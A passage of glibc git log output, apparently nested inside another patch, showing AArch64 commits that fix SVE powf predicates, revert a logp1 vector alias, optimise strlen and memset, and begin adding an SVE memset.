+@@ -304,32 +302,35 @@ svfloat32_t SV_NAME_F2 (pow) (svfloat32_t x, svfloat32_t y, const svbool_t pg)
+       vix = svsel (xsmall, vix_norm, vix);
+     }
+   /* Part of core computation carried in working precision.  */
+-  svuint32_t tmp = svsub_x (pg, vix, d->off);
+-  svuint32_t i = svand_x (pg, svlsr_x (pg, tmp, (23 - V_POWF_LOG2_TABLE_BITS)),
+-			  V_POWF_LOG2_N - 1);
+-  svuint32_t top = svand_x (pg, tmp, 0xff800000);
+-  svuint32_t iz = svsub_x (pg, vix, top);
+-  svint32_t k
+-      = svasr_x (pg, svreinterpret_s32 (top), (23 - V_POWF_EXP2_TABLE_BITS));
+-
+-  /* Compute core in extended precision and return intermediate ylogx results to
+-      handle cases of underflow and underflow in exp.  */
++  svuint32_t tmp = svsub_x (yint_or_xpos, vix, d->off);
++  svuint32_t i = svand_x (
++      yint_or_xpos, svlsr_x (yint_or_xpos, tmp, (23 - V_POWF_LOG2_TABLE_BITS)),
++      V_POWF_LOG2_N - 1);
++  svuint32_t top = svand_x (yint_or_xpos, tmp, 0xff800000);
++  svuint32_t iz = svsub_x (yint_or_xpos, vix, top);
++  svint32_t k = svasr_x (yint_or_xpos, svreinterpret_s32 (top),
++			 (23 - V_POWF_EXP2_TABLE_BITS));
++
++  /* Compute core in extended precision and return intermediate ylogx results
++   * to handle cases of underflow and underflow in exp.  */
+   svfloat32_t ylogx;
+-  svfloat32_t ret = sv_powf_core (pg, i, iz, k, y, sign_bias, &ylogx, d);
++  svfloat32_t ret
++      = sv_powf_core (yint_or_xpos, i, iz, k, y, sign_bias, &ylogx, d);
+ 
+   /* Handle exp special cases of underflow and overflow.  */
+-  svuint32_t sign = svlsl_x (pg, sign_bias, 20 - V_POWF_EXP2_TABLE_BITS);
++  svuint32_t sign
++      = svlsl_x (yint_or_xpos, sign_bias, 20 - V_POWF_EXP2_TABLE_BITS);
+   svfloat32_t ret_oflow
+-      = svreinterpret_f32 (svorr_x (pg, sign, asuint (INFINITY)));
++      = svreinterpret_f32 (svorr_x (yint_or_xpos, sign, asuint (INFINITY)));
+   svfloat32_t ret_uflow = svreinterpret_f32 (sign);
+-  ret = svsel (svcmple (pg, ylogx, d->uflow_bound), ret_uflow, ret);
+-  ret = svsel (svcmpgt (pg, ylogx, d->oflow_bound), ret_oflow, ret);
++  ret = svsel (svcmple (yint_or_xpos, ylogx, d->uflow_bound), ret_uflow, ret);
++  ret = svsel (svcmpgt (yint_or_xpos, ylogx, d->oflow_bound), ret_oflow, ret);
+ 
+   /* Cases of finite y and finite negative x.  */
+-  ret = svsel (yisnotint_xisneg, sv_f32 (__builtin_nanf ("")), ret);
++  ret = svsel (yint_or_xpos, ret, sv_f32 (__builtin_nanf ("")));
+ 
+-  if (__glibc_unlikely (svptest_any (pg, cmp)))
+-    return sv_call_powf_sc (x, y, ret, cmp);
++  if (__glibc_unlikely (svptest_any (cmp, cmp)))
++    return sv_call_powf_sc (x, y, ret);
+ 
+   return ret;
+ }
+
+commit fd9a3a36fdcf14d1678c469e8b9033a46aa6c6fb
+Author: Wilco Dijkstra <wilco.dijkstra@arm.com>
+Date:   Thu Feb 27 20:34:34 2025 +0000
+
+    Revert "AArch64: Add vector logp1 alias for log1p"
+    
+    This reverts commit a991a0fc7c051d7ef2ea7778e0a699f22d4e53d7.
+
+diff --git a/bits/libm-simd-decl-stubs.h b/bits/libm-simd-decl-stubs.h
+index 5019e8e25c..08a41c46ad 100644
+--- a/bits/libm-simd-decl-stubs.h
++++ b/bits/libm-simd-decl-stubs.h
+@@ -253,17 +253,6 @@
+ #define __DECL_SIMD_log1pf64x
+ #define __DECL_SIMD_log1pf128x
+ 
+-#define __DECL_SIMD_logp1
+-#define __DECL_SIMD_logp1f
+-#define __DECL_SIMD_logp1l
+-#define __DECL_SIMD_logp1f16
+-#define __DECL_SIMD_logp1f32
+-#define __DECL_SIMD_logp1f64
+-#define __DECL_SIMD_logp1f128
+-#define __DECL_SIMD_logp1f32x
+-#define __DECL_SIMD_logp1f64x
+-#define __DECL_SIMD_logp1f128x
+-
+ #define __DECL_SIMD_atanh
+ #define __DECL_SIMD_atanhf
+ #define __DECL_SIMD_atanhl
+diff --git a/math/bits/mathcalls.h b/math/bits/mathcalls.h
+index 92856becc4..6cb594b6ff 100644
+--- a/math/bits/mathcalls.h
++++ b/math/bits/mathcalls.h
+@@ -126,7 +126,7 @@ __MATHCALL (log2p1,, (_Mdouble_ __x));
+ __MATHCALL (log10p1,, (_Mdouble_ __x));
+ 
+ /* Return log(1 + X).  */
+-__MATHCALL_VEC (logp1,, (_Mdouble_ __x));
++__MATHCALL (logp1,, (_Mdouble_ __x));
+ #endif
+ 
+ #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99
+diff --git a/sysdeps/aarch64/fpu/Versions b/sysdeps/aarch64/fpu/Versions
+index 015211f5f4..cc15ce2d1e 100644
+--- a/sysdeps/aarch64/fpu/Versions
++++ b/sysdeps/aarch64/fpu/Versions
+@@ -135,11 +135,4 @@ libmvec {
+     _ZGVsMxv_tanh;
+     _ZGVsMxv_tanhf;
+   }
+-  GLIBC_2.41 {
+-    _ZGVnN2v_logp1;
+-    _ZGVnN2v_logp1f;
+-    _ZGVnN4v_logp1f;
+-    _ZGVsMxv_logp1;
+-    _ZGVsMxv_logp1f;
+-  }
+ }
+diff --git a/sysdeps/aarch64/fpu/advsimd_f32_protos.h b/sysdeps/aarch64/fpu/advsimd_f32_protos.h
+index 5909bb4ce9..097d403ffe 100644
+--- a/sysdeps/aarch64/fpu/advsimd_f32_protos.h
++++ b/sysdeps/aarch64/fpu/advsimd_f32_protos.h
+@@ -36,7 +36,6 @@ libmvec_hidden_proto (V_NAME_F2(hypot));
+ libmvec_hidden_proto (V_NAME_F1(log10));
+ libmvec_hidden_proto (V_NAME_F1(log1p));
+ libmvec_hidden_proto (V_NAME_F1(log2));
+-libmvec_hidden_proto (V_NAME_F1(logp1));
+ libmvec_hidden_proto (V_NAME_F1(log));
+ libmvec_hidden_proto (V_NAME_F2(pow));
+ libmvec_hidden_proto (V_NAME_F1(sin));
+diff --git a/sysdeps/aarch64/fpu/bits/math-vector.h b/sysdeps/aarch64/fpu/bits/math-vector.h
+index f295fe185d..7484150131 100644
+--- a/sysdeps/aarch64/fpu/bits/math-vector.h
++++ b/sysdeps/aarch64/fpu/bits/math-vector.h
+@@ -113,10 +113,6 @@
+ # define __DECL_SIMD_log2 __DECL_SIMD_aarch64
+ # undef __DECL_SIMD_log2f
+ # define __DECL_SIMD_log2f __DECL_SIMD_aarch64
+-# undef __DECL_SIMD_logp1
+-# define __DECL_SIMD_logp1 __DECL_SIMD_aarch64
+-# undef __DECL_SIMD_logp1f
+-# define __DECL_SIMD_logp1f __DECL_SIMD_aarch64
+ # undef __DECL_SIMD_pow
+ # define __DECL_SIMD_pow __DECL_SIMD_aarch64
+ # undef __DECL_SIMD_powf
+@@ -184,7 +180,6 @@ __vpcs __f32x4_t _ZGVnN4v_logf (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_log10f (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_log1pf (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_log2f (__f32x4_t);
+-__vpcs __f32x4_t _ZGVnN4v_logp1f (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4vv_powf (__f32x4_t, __f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_sinf (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_sinhf (__f32x4_t);
+@@ -212,7 +207,6 @@ __vpcs __f64x2_t _ZGVnN2v_log (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_log10 (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_log1p (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_log2 (__f64x2_t);
+-__vpcs __f64x2_t _ZGVnN2v_logp1 (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2vv_pow (__f64x2_t, __f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_sin (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_sinh (__f64x2_t);
+@@ -245,7 +239,6 @@ __sv_f32_t _ZGVsMxv_logf (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_log10f (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_log1pf (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_log2f (__sv_f32_t, __sv_bool_t);
+-__sv_f32_t _ZGVsMxv_logp1f (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxvv_powf (__sv_f32_t, __sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_sinf (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_sinhf (__sv_f32_t, __sv_bool_t);
+@@ -273,7 +266,6 @@ __sv_f64_t _ZGVsMxv_log (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_log10 (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_log1p (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_log2 (__sv_f64_t, __sv_bool_t);
+-__sv_f64_t _ZGVsMxv_logp1 (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxvv_pow (__sv_f64_t, __sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_sin (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_sinh (__sv_f64_t, __sv_bool_t);
+diff --git a/sysdeps/aarch64/fpu/log1p_advsimd.c b/sysdeps/aarch64/fpu/log1p_advsimd.c
+index 1263587201..9d18578ce6 100644
+--- a/sysdeps/aarch64/fpu/log1p_advsimd.c
++++ b/sysdeps/aarch64/fpu/log1p_advsimd.c
+@@ -58,5 +58,3 @@ VPCS_ATTR float64x2_t V_NAME_D1 (log1p) (float64x2_t x)
+ 
+   return log1p_inline (x, &d->d);
+ }
+-
+-strong_alias (V_NAME_D1 (log1p), V_NAME_D1 (logp1))
+diff --git a/sysdeps/aarch64/fpu/log1p_sve.c b/sysdeps/aarch64/fpu/log1p_sve.c
+index b21cfb2c90..04f7e5720e 100644
+--- a/sysdeps/aarch64/fpu/log1p_sve.c
++++ b/sysdeps/aarch64/fpu/log1p_sve.c
+@@ -116,5 +116,3 @@ svfloat64_t SV_NAME_D1 (log1p) (svfloat64_t x, svbool_t pg)
+ 
+   return y;
+ }
+-
+-strong_alias (SV_NAME_D1 (log1p), SV_NAME_D1 (logp1))
+diff --git a/sysdeps/aarch64/fpu/log1pf_advsimd.c b/sysdeps/aarch64/fpu/log1pf_advsimd.c
+index 00006fc703..f2d47962fe 100644
+--- a/sysdeps/aarch64/fpu/log1pf_advsimd.c
++++ b/sysdeps/aarch64/fpu/log1pf_advsimd.c
+@@ -93,6 +93,3 @@ VPCS_ATTR float32x4_t V_NAME_F1 (log1p) (float32x4_t x)
+ 
+ libmvec_hidden_def (V_NAME_F1 (log1p))
+ HALF_WIDTH_ALIAS_F1 (log1p)
+-strong_alias (V_NAME_F1 (log1p), V_NAME_F1 (logp1))
+-libmvec_hidden_def (V_NAME_F1 (logp1))
+-HALF_WIDTH_ALIAS_F1 (logp1)
+diff --git a/sysdeps/aarch64/fpu/log1pf_sve.c b/sysdeps/aarch64/fpu/log1pf_sve.c
+index 18a185c838..4f17c44e2d 100644
+--- a/sysdeps/aarch64/fpu/log1pf_sve.c
++++ b/sysdeps/aarch64/fpu/log1pf_sve.c
+@@ -42,5 +42,3 @@ svfloat32_t SV_NAME_F1 (log1p) (svfloat32_t x, svbool_t pg)
+ 
+   return sv_log1pf_inline (x, pg);
+ }
+-
+-strong_alias (SV_NAME_F1 (log1p), SV_NAME_F1 (logp1))
+diff --git a/sysdeps/unix/sysv/linux/aarch64/libmvec.abilist b/sysdeps/unix/sysv/linux/aarch64/libmvec.abilist
+index 98687cae0d..b685106954 100644
+--- a/sysdeps/unix/sysv/linux/aarch64/libmvec.abilist
++++ b/sysdeps/unix/sysv/linux/aarch64/libmvec.abilist
+@@ -128,8 +128,3 @@ GLIBC_2.40 _ZGVsMxvv_hypot F
+ GLIBC_2.40 _ZGVsMxvv_hypotf F
+ GLIBC_2.40 _ZGVsMxvv_pow F
+ GLIBC_2.40 _ZGVsMxvv_powf F
+-GLIBC_2.41 _ZGVnN2v_logp1 F
+-GLIBC_2.41 _ZGVnN2v_logp1f F
+-GLIBC_2.41 _ZGVnN4v_logp1f F
+-GLIBC_2.41 _ZGVsMxv_logp1 F
+-GLIBC_2.41 _ZGVsMxv_logp1f F
+
+commit 64896b7d329809127035fde42768a6f7eeffed75
+Author: Wilco Dijkstra <wilco.dijkstra@arm.com>
+Date:   Wed Aug 7 14:43:47 2024 +0100
+
+    AArch64: Improve generic strlen
+    
+    Improve performance by handling another 16 bytes before entering the loop.
+    Use ADDHN in the loop to avoid SHRN+FMOV when it terminates.  Change final
+    size computation to avoid increasing latency.  On Neoverse V1 performance
+    of the random strlen benchmark improves by 4.6%.
+    
+    Reviewed-by: Adhemerval Zanella <adhemerval.zanella@linaro.org>
+    (cherry picked from commit 3dc426b642dcafdbc11a99f2767e081d086f5fc7)
+
+diff --git a/sysdeps/aarch64/strlen.S b/sysdeps/aarch64/strlen.S
+index ab2a576cdb..352fb40d3a 100644
+--- a/sysdeps/aarch64/strlen.S
++++ b/sysdeps/aarch64/strlen.S
+@@ -1,4 +1,5 @@
+-/* Copyright (C) 2012-2024 Free Software Foundation, Inc.
++/* Generic optimized strlen using SIMD.
++   Copyright (C) 2012-2024 Free Software Foundation, Inc.
+ 
+    This file is part of the GNU C Library.
+ 
+@@ -56,36 +57,50 @@ ENTRY (STRLEN)
+ 	shrn	vend.8b, vhas_nul.8h, 4		/* 128->64 */
+ 	fmov	synd, dend
+ 	lsr	synd, synd, shift
+-	cbz	synd, L(loop)
++	cbz	synd, L(next16)
+ 
+ 	rbit	synd, synd
+ 	clz	result, synd
+ 	lsr	result, result, 2
+ 	ret
+ 
++L(next16):
++	ldr	data, [src, 16]
++	cmeq	vhas_nul.16b, vdata.16b, 0
++	shrn	vend.8b, vhas_nul.8h, 4		/* 128->64 */
++	fmov	synd, dend
++	cbz	synd, L(loop)
++	add	src, src, 16
++#ifndef __AARCH64EB__
++	rbit	synd, synd
++#endif
++	sub	result, src, srcin
++	clz	tmp, synd
++	add	result, result, tmp, lsr 2
++	ret
++
+ 	.p2align 5
+ L(loop):
+-	ldr	data, [src, 16]
++	ldr	data, [src, 32]!
+ 	cmeq	vhas_nul.16b, vdata.16b, 0
+-	umaxp	vend.16b, vhas_nul.16b, vhas_nul.16b
++	addhn	vend.8b, vhas_nul.8h, vhas_nul.8h
+ 	fmov	synd, dend
+ 	cbnz	synd, L(loop_end)
+-	ldr	data, [src, 32]!
++	ldr	data, [src, 16]
+ 	cmeq	vhas_nul.16b, vdata.16b, 0
+-	umaxp	vend.16b, vhas_nul.16b, vhas_nul.16b
++	addhn	vend.8b, vhas_nul.8h, vhas_nul.8h
+ 	fmov	synd, dend
+ 	cbz	synd, L(loop)
+-	sub	src, src, 16
++	add	src, src, 16
+ L(loop_end):
+-	shrn	vend.8b, vhas_nul.8h, 4		/* 128->64 */
+-	sub	result, src, srcin
+-	fmov	synd, dend
++	sub	result, shift, src, lsl 2	/* (srcin - src) << 2.  */
+ #ifndef __AARCH64EB__
+ 	rbit	synd, synd
++	sub	result, result, 3
+ #endif
+-	add	result, result, 16
+ 	clz	tmp, synd
+-	add	result, result, tmp, lsr 2
++	sub	result, tmp, result
++	lsr	result, result, 2
+ 	ret
+ 
+ END (STRLEN)
+
+commit 544fb349d35efd5f86ed7e482759ff21496a32fd
+Author: Wilco Dijkstra <wilco.dijkstra@arm.com>
+Date:   Mon Sep 9 15:26:47 2024 +0100
+
+    AArch64: Optimize memset
+    
+    Improve small memsets by avoiding branches and use overlapping stores.
+    Use DC ZVA for copies over 128 bytes.  Remove unnecessary code for ZVA sizes
+    other than 64 and 128.  Performance of random memset benchmark improves by 24%
+    on Neoverse N1.
+    
+    Reviewed-by: Adhemerval Zanella  <adhemerval.zanella@linaro.org>
+    (cherry picked from commit cec3aef32412779e207f825db0d057ebb4628ae8)
+
+diff --git a/sysdeps/aarch64/memset.S b/sysdeps/aarch64/memset.S
+index 7ef77ee8c9..caafb019e2 100644
+--- a/sysdeps/aarch64/memset.S
++++ b/sysdeps/aarch64/memset.S
+@@ -1,4 +1,5 @@
+-/* Copyright (C) 2012-2024 Free Software Foundation, Inc.
++/* Generic optimized memset using SIMD.
++   Copyright (C) 2012-2024 Free Software Foundation, Inc.
+ 
+    This file is part of the GNU C Library.
+ 
+@@ -17,7 +18,6 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include <sysdep.h>
+-#include "memset-reg.h"
+ 
+ #ifndef MEMSET
+ # define MEMSET memset
+@@ -25,130 +25,132 @@
+ 
+ /* Assumptions:
+  *
+- * ARMv8-a, AArch64, unaligned accesses
++ * ARMv8-a, AArch64, Advanced SIMD, unaligned accesses.
+  *
+  */
+ 
+-ENTRY (MEMSET)
++#define dstin	x0
++#define val	x1
++#define valw	w1
++#define count	x2
++#define dst	x3
++#define dstend	x4
++#define zva_val	x5
++#define off	x3
++#define dstend2	x5
+ 
++ENTRY (MEMSET)
+ 	PTR_ARG (0)
+ 	SIZE_ARG (2)
+ 
+ 	dup	v0.16B, valw
++	cmp	count, 16
++	b.lo	L(set_small)
++
+ 	add	dstend, dstin, count
++	cmp	count, 64
++	b.hs	L(set_128)
+ 
+-	cmp	count, 96
+-	b.hi	L(set_long)
+-	cmp	count, 16
+-	b.hs	L(set_medium)
+-	mov	val, v0.D[0]
++	/* Set 16..63 bytes.  */
++	mov	off, 16
++	and	off, off, count, lsr 1
++	sub	dstend2, dstend, off
++	str	q0, [dstin]
++	str	q0, [dstin, off]
++	str	q0, [dstend2, -16]
++	str	q0, [dstend, -16]
++	ret
+ 
++	.p2align 4
+ 	/* Set 0..15 bytes.  */
+-	tbz	count, 3, 1f
+-	str	val, [dstin]
+-	str	val, [dstend, -8]
+-	ret
+-	nop
+-1:	tbz	count, 2, 2f
+-	str	valw, [dstin]
+-	str	valw, [dstend, -4]
++L(set_small):
++	add	dstend, dstin, count
++	cmp	count, 4
++	b.lo	2f
++	lsr	off, count, 3
++	sub	dstend2, dstend, off, lsl 2
++	str	s0, [dstin]
++	str	s0, [dstin, off, lsl 2]
++	str	s0, [dstend2, -4]
++	str	s0, [dstend, -4]
+ 	ret
++
++	/* Set 0..3 bytes.  */
+ 2:	cbz	count, 3f
++	lsr	off, count, 1
+ 	strb	valw, [dstin]
+-	tbz	count, 1, 3f
+-	strh	valw, [dstend, -2]
++	strb	valw, [dstin, off]
++	strb	valw, [dstend, -1]
+ 3:	ret
+ 
+-	/* Set 17..96 bytes.  */
+-L(set_medium):
+-	str	q0, [dstin]
+-	tbnz	count, 6, L(set96)
+-	str	q0, [dstend, -16]
+-	tbz	count, 5, 1f
+-	str	q0, [dstin, 16]
+-	str	q0, [dstend, -32]
+-1:	ret
+-
+ 	.p2align 4
+-	/* Set 64..96 bytes.  Write 64 bytes from the start and
+-	   32 bytes from the end.  */
+-L(set96):
+-	str	q0, [dstin, 16]
++L(set_128):
++	bic	dst, dstin, 15
++	cmp	count, 128
++	b.hi	L(set_long)
++	stp	q0, q0, [dstin]
+ 	stp	q0, q0, [dstin, 32]
++	stp	q0, q0, [dstend, -64]
+ 	stp	q0, q0, [dstend, -32]
+ 	ret
+ 
+-	.p2align 3
+-	nop
++	.p2align 4
+ L(set_long):
+-	and	valw, valw, 255
+-	bic	dst, dstin, 15
+ 	str	q0, [dstin]
+-	cmp	count, 256
+-	ccmp	valw, 0, 0, cs
+-	b.eq	L(try_zva)
+-L(no_zva):
+-	sub	count, dstend, dst	/* Count is 16 too large.  */
+-	sub	dst, dst, 16		/* Dst is biased by -32.  */
+-	sub	count, count, 64 + 16	/* Adjust count and bias for loop.  */
+-1:	stp	q0, q0, [dst, 32]
+-	stp	q0, q0, [dst, 64]!
+-L(tail64):
+-	subs	count, count, 64
+-	b.hi	1b
+-2:	stp	q0, q0, [dstend, -64]
++	str	q0, [dst, 16]
++	tst	valw, 255
++	b.ne	L(no_zva)
++#ifndef ZVA64_ONLY
++	mrs	zva_val, dczid_el0
++	and	zva_val, zva_val, 31
++	cmp	zva_val, 4		/* ZVA size is 64 bytes.  */
++	b.ne	L(zva_128)
++#endif
++	stp	q0, q0, [dst, 32]
++	bic	dst, dstin, 63
++	sub	count, dstend, dst	/* Count is now 64 too large.  */
++	sub	count, count, 64 + 64	/* Adjust count and bias for loop.  */
++
++	/* Write last bytes before ZVA loop.  */
++	stp	q0, q0, [dstend, -64]
+ 	stp	q0, q0, [dstend, -32]
++
++	.p2align 4
++L(zva64_loop):
++	add	dst, dst, 64
++	dc	zva, dst
++	subs	count, count, 64
++	b.hi	L(zva64_loop)
+ 	ret
+ 
+-L(try_zva):
+-#ifndef ZVA64_ONLY
+ 	.p2align 3
+-	mrs	tmp1, dczid_el0
+-	tbnz	tmp1w, 4, L(no_zva)
+-	and	tmp1w, tmp1w, 15
+-	cmp	tmp1w, 4	/* ZVA size is 64 bytes.  */
+-	b.ne	 L(zva_128)
+-	nop
+-#endif
+-	/* Write the first and last 64 byte aligned block using stp rather
+-	   than using DC ZVA.  This is faster on some cores.
+-	 */
+-	.p2align 4
+-L(zva_64):
+-	str	q0, [dst, 16]
++L(no_zva):
++	sub	count, dstend, dst	/* Count is 32 too large.  */
++	sub	count, count, 64 + 32	/* Adjust count and bias for loop.  */
++L(no_zva_loop):
+ 	stp	q0, q0, [dst, 32]
+-	bic	dst, dst, 63
+ 	stp	q0, q0, [dst, 64]
+-	stp	q0, q0, [dst, 96]
+-	sub	count, dstend, dst	/* Count is now 128 too large.	*/
+-	sub	count, count, 128+64+64	/* Adjust count and bias for loop.  */
+-	add	dst, dst, 128
+-1:	dc	zva, dst
+ 	add	dst, dst, 64
+ 	subs	count, count, 64
+-	b.hi	1b
+-	stp	q0, q0, [dst, 0]
+-	stp	q0, q0, [dst, 32]
++	b.hi	L(no_zva_loop)
+ 	stp	q0, q0, [dstend, -64]
+ 	stp	q0, q0, [dstend, -32]
+ 	ret
+ 
+ #ifndef ZVA64_ONLY
+-	.p2align 3
++	.p2align 4
+ L(zva_128):
+-	cmp	tmp1w, 5	/* ZVA size is 128 bytes.  */
+-	b.ne	L(zva_other)
++	cmp	zva_val, 5		/* ZVA size is 128 bytes.  */
++	b.ne	L(no_zva)
+ 
+-	str	q0, [dst, 16]
+ 	stp	q0, q0, [dst, 32]
+ 	stp	q0, q0, [dst, 64]
+ 	stp	q0, q0, [dst, 96]
+ 	bic	dst, dst, 127
+ 	sub	count, dstend, dst	/* Count is now 128 too large.	*/
+-	sub	count, count, 128+128	/* Adjust count and bias for loop.  */
+-	add	dst, dst, 128
+-1:	dc	zva, dst
+-	add	dst, dst, 128
++	sub	count, count, 128 + 128	/* Adjust count and bias for loop.  */
++1:	add	dst, dst, 128
++	dc	zva, dst
+ 	subs	count, count, 128
+ 	b.hi	1b
+ 	stp	q0, q0, [dstend, -128]
+@@ -156,35 +158,6 @@ L(zva_128):
+ 	stp	q0, q0, [dstend, -64]
+ 	stp	q0, q0, [dstend, -32]
+ 	ret
+-
+-L(zva_other):
+-	mov	tmp2w, 4
+-	lsl	zva_lenw, tmp2w, tmp1w
+-	add	tmp1, zva_len, 64	/* Max alignment bytes written.	 */
+-	cmp	count, tmp1
+-	blo	L(no_zva)
+-
+-	sub	tmp2, zva_len, 1
+-	add	tmp1, dst, zva_len
+-	add	dst, dst, 16
+-	subs	count, tmp1, dst	/* Actual alignment bytes to write.  */
+-	bic	tmp1, tmp1, tmp2	/* Aligned dc zva start address.  */
+-	beq	2f
+-1:	stp	q0, q0, [dst], 64
+-	stp	q0, q0, [dst, -32]
+-	subs	count, count, 64
+-	b.hi	1b
+-2:	mov	dst, tmp1
+-	sub	count, dstend, tmp1	/* Remaining bytes to write.  */
+-	subs	count, count, zva_len
+-	b.lo	4f
+-3:	dc	zva, dst
+-	add	dst, dst, zva_len
+-	subs	count, count, zva_len
+-	b.hs	3b
+-4:	add	count, count, zva_len
+-	sub	dst, dst, 32		/* Bias dst for tail loop.  */
+-	b	L(tail64)
+ #endif
+ 
+ END (MEMSET)
+
+commit 41eb2f8b5847079caca90a74659456adbb80ec29
+Author: Wilco Dijkstra <wilco.dijkstra@arm.com>
+Date:   Mon Nov 25 18:43:08 2024 +0000
+
+    AArch64: Remove zva_128 from memset
+    
+    Remove ZVA 128 support from memset - the new memset no longer
+    guarantees count >= 256, which can result in underflow and a
+    crash if ZVA size is 128 ([1]).  Since only one CPU uses a ZVA
+    size of 128 and its memcpy implementation was removed in commit
+    e162ab2bf1b82c40f29e1925986582fa07568ce8, remove this special
+    case too.
+    
+    [1] https://sourceware.org/pipermail/libc-alpha/2024-November/161626.html
+    
+    Reviewed-by: Andrew Pinski <quic_apinski@quicinc.com>
+    (cherry picked from commit a08d9a52f967531a77e1824c23b5368c6434a72d)
+
+diff --git a/sysdeps/aarch64/memset.S b/sysdeps/aarch64/memset.S
+index caafb019e2..71814d0b2f 100644
+--- a/sysdeps/aarch64/memset.S
++++ b/sysdeps/aarch64/memset.S
+@@ -104,7 +104,7 @@ L(set_long):
+ 	mrs	zva_val, dczid_el0
+ 	and	zva_val, zva_val, 31
+ 	cmp	zva_val, 4		/* ZVA size is 64 bytes.  */
+-	b.ne	L(zva_128)
++	b.ne	L(no_zva)
+ #endif
+ 	stp	q0, q0, [dst, 32]
+ 	bic	dst, dstin, 63
+@@ -137,28 +137,5 @@ L(no_zva_loop):
+ 	stp	q0, q0, [dstend, -32]
+ 	ret
+ 
+-#ifndef ZVA64_ONLY
+-	.p2align 4
+-L(zva_128):
+-	cmp	zva_val, 5		/* ZVA size is 128 bytes.  */
+-	b.ne	L(no_zva)
+-
+-	stp	q0, q0, [dst, 32]
+-	stp	q0, q0, [dst, 64]
+-	stp	q0, q0, [dst, 96]
+-	bic	dst, dst, 127
+-	sub	count, dstend, dst	/* Count is now 128 too large.	*/
+-	sub	count, count, 128 + 128	/* Adjust count and bias for loop.  */
+-1:	add	dst, dst, 128
+-	dc	zva, dst
+-	subs	count, count, 128
+-	b.hi	1b
+-	stp	q0, q0, [dstend, -128]
+-	stp	q0, q0, [dstend, -96]
+-	stp	q0, q0, [dstend, -64]
+-	stp	q0, q0, [dstend, -32]
+-	ret
+-#endif
+-
+ END (MEMSET)
+ libc_hidden_builtin_def (MEMSET)
+
+commit 27fa0268ead054810a5e2669d0b5bb88ceb05b05
+Author: Wilco Dijkstra <wilco.dijkstra@arm.com>
+Date:   Wed Jul 24 15:17:47 2024 +0100
+
+    math: Improve layout of expf data
+    
+    GCC aligns global data to 16 bytes if their size is >= 16 bytes.  This patch
+    changes the exp2f_data struct slightly so that the fields are better aligned.
+    As a result on targets that support them, load-pair instructions accessing
+    poly_scaled and invln2_scaled are now 16-byte aligned.
+    
+    Reviewed-by: Adhemerval Zanella  <adhemerval.zanella@linaro.org>
+    (cherry picked from commit 44fa9c1080fe6a9539f0d2345b9d2ae37b8ee57a)
+
+diff --git a/sysdeps/ieee754/flt-32/math_config.h b/sysdeps/ieee754/flt-32/math_config.h
+index 729f22cd4f..dc07ebd459 100644
+--- a/sysdeps/ieee754/flt-32/math_config.h
++++ b/sysdeps/ieee754/flt-32/math_config.h
+@@ -166,9 +166,9 @@ extern const struct exp2f_data
+   uint64_t tab[1 << EXP2F_TABLE_BITS];
+   double shift_scaled;
+   double poly[EXP2F_POLY_ORDER];
+-  double shift;
+   double invln2_scaled;
+   double poly_scaled[EXP2F_POLY_ORDER];
++  double shift;
+ } __exp2f_data attribute_hidden;
+ 
+ #define LOGF_TABLE_BITS 4
+
+commit 7038970f1f485fb660606f0c596f432fdef250f6
+Author: Wilco Dijkstra <wilco.dijkstra@arm.com>
+Date:   Tue Dec 24 18:01:59 2024 +0000
+
+    AArch64: Add SVE memset
+    
+    Add SVE memset based on the generic memset with predicated load for sizes < 16.
+    Unaligned memsets of 128-1024 are improved by ~20% on average by using aligned
+    stores for the last 64 bytes.  Performance of random memset benchmark improves
+    by ~2% on Neoverse V1.
+    
+    Reviewed-by: Yury Khrustalev <yury.khrustalev@arm.com>
+    (cherry picked from commit 163b1bbb76caba4d9673c07940c5930a1afa7548)
+
+diff --git a/sysdeps/aarch64/multiarch/Makefile b/sysdeps/aarch64/multiarch/Makefile
+index 3e251cc234..6880ebc035 100644
+--- a/sysdeps/aarch64/multiarch/Makefile
++++ b/sysdeps/aarch64/multiarch/Makefile
+@@ -16,6 +16,7 @@ sysdep_routines += \
+   memset_kunpeng \
+   memset_mops \
+   memset_oryon1 \
++  memset_sve_zva64 \
+   memset_zva64 \
+   strlen_asimd \
+   strlen_generic \
+diff --git a/sysdeps/aarch64/multiarch/ifunc-impl-list.c b/sysdeps/aarch64/multiarch/ifunc-impl-list.c
+index b2fda541f9..1f101a719b 100644
+--- a/sysdeps/aarch64/multiarch/ifunc-impl-list.c
++++ b/sysdeps/aarch64/multiarch/ifunc-impl-list.c
+@@ -61,6 +61,7 @@ __libc_ifunc_impl_list (const char *name, struct libc_ifunc_impl *array,
+ 	      IFUNC_IMPL_ADD (array, i, memset, 1, __memset_kunpeng)
+ #if HAVE_AARCH64_SVE_ASM
+ 	      IFUNC_IMPL_ADD (array, i, memset, sve && !bti && zva_size == 256, __memset_a64fx)
